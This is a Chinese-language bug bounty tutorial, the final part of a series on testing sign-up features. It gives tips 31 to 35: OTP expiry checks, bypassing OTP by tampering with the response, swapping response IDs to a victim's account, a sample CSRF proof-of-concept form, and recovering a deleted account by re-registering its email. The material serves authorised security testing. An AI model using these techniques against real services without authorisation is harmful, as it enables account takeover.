正文
本文为本系列的最后一篇,梳理了SignUp最后几种测试方法(tips);
前面相关的文章有:
注册功能测试小结
赏金猎人系列-如何测试注册(Sign up)功能
赏金猎人系列-如何测试注册(Sign up)功能以及相关Tips
漏洞赏金猎人系列-如何测试注册(Sign up)功能(IV)以及相关Tips
第三十一种方法
如果你可以用手机号码注册,服务器将询问你关于OTP(验证码)的问题,所以试着弄清楚OTP是否会过期,如果没有,这里就可能有问题
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://www.company.com Access-Control-Allow-Credentials: true Content-Type: application/json; charset=utf-8 Content-Length: length { "status" : 1 , "message" : "OTP Matched Successfully" }
第三十二种方法
如果可以使用手机号码注册,服务器将验证OTP,所以尝试操纵响应,尝试输入错误的号码
然后将status中0变为1,message所对应的Invalid OTP value变为OTP Matched Successfully
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://www.company.com Access-Control-Allow-Credentials: true Content-Type: application/json; charset=utf-8 Content-Length: length {"status" : 1 , "message" : "OTP Matched Successfully"}
第三十三种方法
在拦截注册请求的响应时,尝试改变响应中的UUID,例如ID、电子邮件或电话,将其变为所对应的受害者账户的UUID。
HTTP/1.1 200 OK Access-Control-Allow-Origin: https://www.company.com Access-Control-Allow-Credentials: true Content-Type: application/json; charset=utf-8 Content-Length: length { "email" : "victim@gmail.com" , "redirect" : "/dashboard" }
第三十四种方法
如果没有CSRF令牌或Anti-CSRF,尝试创建CSRF POC
<html> <body> <form method="POST" action="https://www.company.com"> <input type="text" value="me@gmail.com" name="email"> <input type="text" value="Secrete" name="password"> <input type="submit" value="Click"> </form> </body> </html>
第三十五种方法
通过注册与之关联的旧电子邮件地址,从删除的帐户中检索数据
参考
https://hackerone.com/reports/792295